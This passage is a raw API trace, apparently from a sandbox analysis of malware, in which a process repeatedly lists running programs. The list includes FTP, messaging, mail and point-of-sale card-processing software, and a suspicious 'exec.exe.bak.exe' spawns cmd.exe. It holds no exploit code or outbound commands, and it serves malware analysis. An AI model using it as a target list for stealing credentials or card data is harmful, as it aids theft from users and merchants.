hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0100.207] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0100.208] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0100.209] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0100.210] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0100.211] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0100.212] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0100.213] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0100.214] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0100.215] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0100.216] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0100.217] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0100.218] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0100.219] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0100.220] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0100.221] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0100.222] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0100.223] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0100.224] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0100.225] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0100.226] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0100.226] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0100.227] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0100.228] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0100.229] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0100.230] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0100.348] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0100.349] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0100.350] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0100.351] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0100.351] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0100.352] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0100.354] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0100.355] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0100.356] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0100.356] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0100.357] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0100.358] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0100.359] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0100.360] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0100.361] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nascar_challenges.exe")) returned 1 [0100.362] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments characterized converter.exe")) returned 1 [0100.363] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mlb-noon-origin.exe")) returned 1 [0100.364] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.365] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1064, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0100.365] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.366] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0100.367] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.368] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0100.369] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0100.370] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0100.370] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.372] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1188, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.372] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.373] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0100.374] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0100.375] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0100.375] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0100.376] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1164, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.377] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xef0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.378] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0100.378] Process32NextW (in: hSnapshot=0x320, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0100.379] CloseHandle (hObject=0x320) returned 1 [0100.379] Sleep (dwMilliseconds=0x1f4) [0101.086] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x328 [0101.105] Process32FirstW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.105] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0101.106] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0101.106] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0101.107] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0101.108] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0101.108] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0101.109] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0101.135] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0101.136] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.137] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0101.138] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0101.138] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.139] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0101.140] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.140] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.141] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.142] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.143] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.143] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.144] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.145] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: 